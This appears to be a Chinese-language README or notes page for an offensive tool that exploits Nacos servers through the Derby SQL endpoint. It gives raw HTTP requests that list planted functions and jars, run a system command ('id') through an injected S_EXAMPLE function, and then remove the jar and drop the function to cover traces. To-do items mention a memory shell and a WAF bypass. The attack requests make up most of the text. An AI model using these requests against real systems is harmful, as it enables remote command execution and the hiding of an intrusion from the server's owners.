-
部署函数id问题 没办法 存一下吧✅ (被部署太多不容易打,可参考6)
-
本地加载 ✅
-
关闭时要结束进程✅
-
内存马太大 怎么办 ?
-
判断系统 人工选择路径✅
-
擦屁股/爆菊
查询存在的函数 S_EXAMPLE_xxxx 基本上用公开的poc都没改过包括本工具
GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSALIASES%20WHERE%20ALIASTYPE%20%3D%20%27F%27%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1 Host: 172.16.0.95:8848 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close
![image-20240717090218750](https://private-user-images.githubusercontent.com/46959313/349325931-3c82332c-aa22-4f2b-82a7-d14f527d11c1.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjUyMzY1MzQsIm5iZiI6MTcyNTIzNjIzNCwicGF0aCI6Ii80Njk1OTMxMy8zNDkzMjU5MzEtM2M4MjMzMmMtYWEyMi00ZjJiLTgyYTctZDE0ZjUyN2QxMWMxLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA5MDIlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwOTAyVDAwMTcxNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWZkNjU4ZWVjNTk4MzQwZGJlNWFjMjQxM2Q2OTUzMDUzYjM1NjIyN2I4ZTM5MjU0M2RjNGEzOTcxNTVlN2M0ZTMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.ifvCzuKKOxCbTXuC6eVpcgruazJ4mCcS5cWlp8vD8Qc)
查询部署的jar
GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSFILES%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
利用
GET /nacos/v1/cs/ops/derby?sql=select+*+from+%28select+count%28*%29+as+b%2C+S_EXAMPLE_AGIAJSOK%28%27id%27%29+as+a+from+config_info%29+tmp+%2F*ROWS+FETCH+NEXT*%2F HTTP/1.1
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
![image-20240717090516055](https://private-user-images.githubusercontent.com/46959313/349326011-d57d0161-50d8-4669-8d1d-956e5ef25de4.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjUyMzY1MzQsIm5iZiI6MTcyNTIzNjIzNCwicGF0aCI6Ii80Njk1OTMxMy8zNDkzMjYwMTEtZDU3ZDAxNjEtNTBkOC00NjY5LThkMWQtOTU2ZTVlZjI1ZGU0LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA5MDIlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwOTAyVDAwMTcxNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTgzMTg5YTBlOGU4ZjE1MGM2NmFkY2Y2ZDgyN2E5MDMyZGUyZDgzNzhkYTY0ZThjNDU1OTdkZjBmMGZjYzA2MGMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.QUQJDWjHv78xleNbUdsUJdK_izWnEPf1BDAf2q677hw)
删除jar 卸载函数
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 204
Connection: close
------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain
CALL sqlj.remove_jar('NACOS.AGIAJSOK', 0)
------WebKitFormBoundarymeBFzDXo--
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 195
Connection: close
------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain
DROP FUNCTION S_EXAMPLE_AGIAJSOK
------WebKitFormBoundarymeBFzDXo--
![image-20240717091537124](https://private-user-images.githubusercontent.com/46959313/349326104-86ea4191-b404-41e7-aa09-dcf2d39d6a92.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjUyMzY1MzQsIm5iZiI6MTcyNTIzNjIzNCwicGF0aCI6Ii80Njk1OTMxMy8zNDkzMjYxMDQtODZlYTQxOTEtYjQwNC00MWU3LWFhMDktZGNmMmQzOWQ2YTkyLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA5MDIlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwOTAyVDAwMTcxNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWJmNWQwZjM1ZmUwZDhmMTRmZWZhMGE3MDdlOTI3MTQ1MTc4OTdhYjA0YTI5ZTNkMzY5NWI1N2NlMDU1NzQyNjcmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.B0hgglCsrQHwETnMZKHEPMNpLpX42JSrSK7wIz6mV2Q)
验证
![image-20240717091632316](https://private-user-images.githubusercontent.com/46959313/349326144-8990aa24-803a-4a2c-8fda-e2c7cb2b3d22.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjUyMzY1MzQsIm5iZiI6MTcyNTIzNjIzNCwicGF0aCI6Ii80Njk1OTMxMy8zNDkzMjYxNDQtODk5MGFhMjQtODAzYS00YTJjLThmZGEtZTJjN2NiMmIzZDIyLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA5MDIlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwOTAyVDAwMTcxNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTQxMmU4MjA5MWE5ZTRlYWI0OWYzYTgwYjIxNWUzMzE3YjRkNzE2MzY4MDM4MDY2ZjRkNmVjZTJmMmFiNTY1ZmImWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.kIrpoPP75YjWWwEdEPuW873XY_NB0W6HcFJ6-0DnrTo)
- bypass waf
......